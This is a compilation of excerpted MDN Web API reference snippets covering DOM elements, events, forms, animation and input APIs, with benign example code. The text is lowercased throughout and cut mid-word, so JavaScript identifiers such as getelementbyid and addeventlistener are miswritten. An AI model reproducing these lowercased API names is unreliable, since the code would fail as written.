this is because the offsettop indicates the location of the top of the border (not the margin) while the client area starts immediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width".
... (actually might be math.round(parsefloat()).) for example, if the computed "border-top-width" is zero, then clienttop is also zero.
...(the segments labeled "top", "right", etc.
Element: cut event - Web APIs
WebAPIElementcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
...so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document.
... examples live example html <div class="source" contenteditable="true">try cutting text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); ...
Element.getAttribute() - Web APIs
if the given attribute does not exist, the value returned will either be null or "" (the empty string); see non-existing attributes for details.
... examples const div1 = document.getelementbyid('div1'); const align = div1.getattribute('align'); alert(align); // shows the value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, getattribute() lower-cases its argument before proceeding.
... retrieving nonce values for security reasons, csp nonces from non-script sources, such as css selectors, and .getattribute("nonce") calls are hidden.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circl...
...e.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height="100px" viewbox="0 0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon.
...for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
Element.scrollIntoView() - Web APIs
corresponds to scrollintoviewoptions: {block: "start", inline: "nearest"}.
...corresponds to scrollintoviewoptions: {block: "end", inline: "nearest"}.
... example var element = document.getelementbyid("box"); element.scrollintoview(); element.scrollintoview(false); element.scrollintoview({block: "end"}); element.scrollintoview({behavior: "smooth", block: "end", inline: "nearest"}); notes the element may not be scrolled completely to the top or bottom depending on the layout of other elements.
EventTarget.removeEventListener() - Web APIs
for example, consider this call to addeventlistener(): element.addeventlistener("mousedown", handlemousedown, true); now consider each of these two calls to removeeventlistener(): element.removeeventlistener("mousedown", handlemousedown, false); // fails element.removeeventlistener("mousedown", handlemousedown, true); // succeeds the first call fails because the value of usecapture doesn't match.
... now consider this: element.addeventlistener("mousedown", handlemousedown, { passive: true }); here, we specify an options object in which passive is set to true, while the other options are left to the default value of false.
... element.removeeventlistener("mousedown", handlemousedown, { passive: true }); // succeeds element.removeeventlistener("mousedown", handlemousedown, { capture: false }); // succeeds element.removeeventlistener("mousedown", handlemousedown, { capture: true }); // fails element.removeeventlistener("mousedown", handlemousedown, { passive: false }); // succeeds element.removeeventlistener("mousedown", handlemousedown, false); // succeeds element.removeeventlistener("mousedown", handlemousedown, true); // fails it's worth noting that some browser...
ExtendableEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" strok...
...e="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">extendableevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface is only available when the g...
... note: in chrome, logging statements are visible via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.
FileSystemDirectoryEntry.getFile() - Web APIs
the {domxref("fileerror.code")}} specifies what type of error occurred, as follows: fileerror.not_found_err the create option was not specified (or was specified as false), and the file doesn't exist.
... let dictionary = null; function loaddictionaryforlanguage(appdatadirentry, lang) { dictionary = null; appdatadirentry.getdirectory("dictionaries", {}, function(direntry) { direntry.getfile(lang + "-dict.json", {}, function(fileentry) { fileentry.file(function(dictfile)) { let reader = new filereader(); reader.addeventlistener("loadend", function() { dictionary = json.parse(reader.result); }); reader.readastext(dictfile); }); }); }); } the loaddictionaryforlang...
...uage() function starts by using getdirectory() to obtain the filesystemdirectoryentry object representing a subfolder named "dictionaries" located inside the specified app data directory.
FileSystemEntry - Web APIs
fullpath read only a usvstring object which provides the full, absolute path from the file system's root to the entry; it can also be thought of as a path which is relative to the root directory, prepended with a "/" character.
... name read only a usvstring containing the name of the entry (the final part of the path, after the last "/" character).
...this url uses the url scheme "filesystem:".
FocusEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/>...
...<line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/focusevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignme...
...nt-baseline="middle">focusevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor focusevent() creates a focusevent event with the given parameters.
FormData.append() - Web APIs
WebAPIFormDataappend
the default filename for blob objects is "blob".
... note: if you specify a blob as the data to append to the formdata object, the filename that will be reported to the server in the "content-disposition" header used to vary from browser to browser.
... if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
the default filename for blob objects is "blob".
... note: if you specify a blob as the data to append to the formdata object, the filename that will be reported to the server in the "content-disposition" header used to vary from browser to browser.
...lowing line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
Fullscreen API - Web APIs
this is false if full-screen mode is not available for any reason (such as the "fullscreen" feature not being allowed, or full-screen mode not being supported).
...the full-screen mode feature is identified by the string "fullscreen", with a default allow-list value of "self", meaning that full-screen mode is permitted in top-level document contexts, as well as to nested browsing contexts loaded from the same origin as the top-most document.
... document.addeventlistener("keypress", function(e) { if (e.keycode === 13) { togglefullscreen(); } }, false); toggling full-screen mode this code is called by the event handler above when the user hits the enter key.
GainNode.gain - Web APIs
WebAPIGainNodegain
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(...
... mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute.
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gain' in that specification.
GamepadEvent - Web APIs
window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
... %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); and on a window.gamepaddisconnected event.
... window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification.
GeolocationCoordinates.longitude - Web APIs
let button = document.getelementbyid("get-location"); let lattext = document.getelementbyid("latitude"); let longtext = document.getelementbyid("longitude"); button.addeventlistener("click", function() { navigator.geolocation.getcurrentposition(function(position) { let lat = position.coords.latitude; let long = position.coords.longitude; lattext.innertext = lat.tofixed(2); longtext.innertext = long.tofixed(2); })...
... html the html used to present the results looks like this: <p> your location is <span id="latitude">0.00</span>° latitude by <span id="longitude">0.00</span>° longitude.
... </p> <button id="get-location"> get my location </button> result take this example for a test drive here: specifications specification status comment geolocation apithe definition of 'coordinates.longitude' in that specification.
GlobalEventHandlers.ontransitionend - Web APIs
<div class="box"></div> css the css below styles the box and applies a transition effect which makes the box's color and size change, and causes the box to rotate, while the mouse cursor hovers over it.
... .box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content of the box when the transition begins and ends.
... let box = document.queryselector(".box"); box.ontransitionrun = function(event) { box.innerhtml = "zooming..."; } box.ontransitionend = function(event) { box.innerhtml = "done!"; } result the resulting content looks like this: notice what happens when you hover your mouse cursor over the box, then move it away.
HTMLDetailsElement: toggle event - Web APIs
html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="summaries"> <b>chapter summaries:</b> <details id="ch1"> <summary>chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune.
... </details> <details id="ch2"> <summary>chapter ii</summary> philosophy in fortune's name replies to boethius' reproaches, and proves that the gifts of fortune are hers to give and to take away.
... </details> <details id="ch3"> <summary>chapter iii</summary> boethius falls back upon his present sense of misery.
HTMLDialogElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldialogelement" target="_top"><rect x="1" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="86" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldialogelement</text></a></svg></di...
... <!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset...
...">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel butt...
HTMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...ine="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-siz...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldocument" target="_top"><rect x="386" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="446" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} for the purposes of web development, you can generally think of htmldocument as an alias for document, upon whic...
HTMLElement: animationcancel event - Web APIs
addeventlistener('animationcancel', () => { console.log('animation canceled'); }); animated.style.display = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .
...mation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { a...
...pplyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationend event - Web APIs
tens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('animation ended'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .an...
...mation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { a...
...pplyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationiteration event - Web APIs
> { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .
...mation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { a...
...pplyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
HTMLElement: animationstart event - Web APIs
tart event and logs a message when it is fired: const animated = document.queryselector('.animated'); animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem; padding: 0.2rem; } .
...mation.addeventlistener('animationiteration', () => { iterationcount++; animationeventlog.textcontent = `${animationeventlog.textcontent}'animation iterations: ${iterationcount}' `; }); animation.addeventlistener('animationend', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation ended'`; animation.classlist.remove('active'); applyanimation.textcontent = "activate animation"; }); animation.addeventlistener('animationcancel', () => { animationeventlog.textcontent = `${animationeventlog.textcontent}'animation canceled'`; }); applyanimation.addeventlistener('click', () => { animation.classlist.toggle('active'); animationeventlog.textcontent = ''; iterationcount = 0; let active = animation.classlist.contains('active'); if (active) { a...
...pplyanimation.textcontent = "cancel animation"; } else { applyanimation.textcontent = "activate animation"; } }); result specifications specification status comment css animations working draft initial definition ...
inert - Web APIs
WebAPIHTMLElementinert
the boolean inert attribute, when present, may make the browser "ignore" the element from assistive technologies, page search and text selection.
... this can be useful when building uis such as modals where you would want to "trap" the focus inside the modal when it's visible.
... according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node.
HTMLElement.innerText - Web APIs
the innertext property of the htmlelement interface represents the "rendered" text content of a node and its descendants.
... html <h3>source element:</h3> <p id="source"> <style>#source { color: red; } #text { text-transform: uppercase; }</style> <span id=text>take a look at<br>how this text<br>is interpreted below.</span> <span style="display:none">hidden text</span> </p> <h3>result of textcontent:</h3> <textarea id="textcontentoutput" rows="6" cols="30" readonly>...</textarea> <h3>result of innertext:</h3> <textarea id="innertextoutput" rows=...
..."6" cols="30" readonly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html living standardthe definition of 'innertext' in that specification.
HTMLElement.offsetLeft - Web APIs
example var colortable = document.getelementbyid("t1"); var toleft = colortable.offsetleft; if (toleft > 5) { // large left offset: do something here } this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.
... <div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> <span>short span.
... </span> <span id="longspan">long span that wraps within this div.</span> </div> <div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"> </div> <script type="text/javascript"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view modulethe definition of 'offsetleft' in that specification.
HTMLElement.offsetTop - Web APIs
example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification.
... full support 1samsung internet android full support 1.0legend full support full support in compliance with the specification, this property will return null on webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".
... this property will return null on internet explorer (9) if the style.position of the element itself is set to "fixed".
HTMLFormControlsCollection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" f...
...ont-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#d4dde4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlformcontrolscollection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformcontrolscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of its parent, htmlc...
...like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
HTMLFormElement.elements - Web APIs
the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
... <form id="my-form"> <input type="text" name="username"> <input type="text" name="full-name"> <input type="password" name="password"> </form> var inputs = document.getelementbyid("my-form").elements; var inputbyindex = inputs[0]; var inputbyname = inputs["username"]; accessing form controls this example gets the form's element list, then iterates over the list, looking for <input> elements of type "text" so that some form of processing can be performed on them.
... var inputs = document.getelementbyid("my-form").elements; // iterate over the form controls for (i = 0; i < inputs.length; i++) { if (inputs[i].nodename === "input" && inputs[i].type === "text") { // update text input inputs[i].value.tolocaleuppercase(); } } disabling form controls var inputs = document.getelementbyid("my-form").elements; // iterate over the form controls for (i = 0; i < inputs.length; i++) { // disable all form controls inputs[i].setattribute("disabled", ""); } specifications specification status comment html living standardthe definition of 'htmlformelement.elements' in that specification.
HTMLImageElement.crossOrigin - Web APIs
if crossorigin is an empty string (""), the anonymous mode is selected.
... const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ${ur...
...l}`; container.append(errmsg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src = url; } loadimage(imageurl); html <div class="container"> <p>here's a paragraph.
HTMLImageElement.referrerPolicy - Web APIs
possible values are: "no-referrer" meaning that the referer: http header will not be sent.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
... "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username).
HTMLInputElement: search event - Web APIs
the search event is fired when a search is initiated usinng an <input> element of type="search".
... current ua implementations of <input type="search"> have an additional control to clear the field.
... examples // addeventlistener version const input = document.queryselector('input[type="search"]'); input.addeventlistener('search', () => { console.log("the term searched for was " + input.value); }) // onsearch version const input = document.queryselector('input[type="search"]'); input.onsearch = () => { console.log("the term searched for was " + input.value); }) specifications this event is not part of any specification.
HTMLInputElement.stepDown() - Web APIs
given <input id="mytime" type="time" max="17:00" step="900" value="17:00">, invoking mytime.step(3) will change the value to 16:15, decrementing the time by 3 * 900, or 45 minutes.
... <!-- decrements by intervals of 900 seconds (15 minute) --> <input type="time" max="17:00" step="900"> <!-- decrements by intervals of 7 days (one week) --> <input type="date" max="2019-12-25" step="7"> <!-- decrements by intervals of 12 months (one year) --> <input type="month" max="2019-12" step="12"> the method, when invoked, changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set within the form control.
... example click the button in this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutto...
HTMLInputElement.stepUp() - Web APIs
input type default step value example step declaration date 1 (day) 7 day (one week) increments: <input type="date" min="2019-12-25" step="7"> month 1 (month) 12 month (one year) increments: <input type="month" min="2019-12" step="12"> week 1 (week) two week increments: <input type="week" min="2019-w23" step="2"> time 60 (seconds) 900 second (15 minute) increments: <input type="time" min="09:00" step="900"> datetime-local 1 (day) same...
... day of the week: <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 0.1 increments <input type="number" min="0" step="0.1" max="10"> range 1 increments by 2: <input type="range" min="0" step="2" max="10"> the method, when invoked, changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set on the form control.
... example click the button in this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="button" value="increment" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton...
Option() - Web APIs
if this is not specified, a default value of "" (empty string) is used.
... examples just add new options /* assuming we have the following html <select id='s'> </select> */ var s = document.getelementbyid('s'); var options = [four, five, six]; options.foreach(function(element,key) { s[key] = new option(element,key); }); append options with different parameters /* assuming we have the following html <select id="s"> <option>first</option> <option>second</option> <option>third</option> </select> */ var s = document.getelementbyid('s'); var options = [ 'zero', 'one', 'two' ]; options.foreach(function(element, key) { if (element == 'zero') { s[s.options.length] = new option(element, s.options.length, false, false); } if (element == 'one') { s[s.options.length] = new option(element...
..., s.options.length, true, false); // will add the "selected" attribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment html5 the definition of 'option' in that specification.
HTMLSelectElement.add() - Web APIs
examples creating elements from scratch var sel = document.createelement("select"); var opt1 = document.createelement("option"); var opt2 = document.createelement("option"); opt1.value = "1"; opt1.text = "option: value 1"; opt2.value = "2"; opt2.text = "option: value 2"; sel.add(opt1, null); sel.add(opt2, null); /* produces the following, conceptually: <select> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </sel...
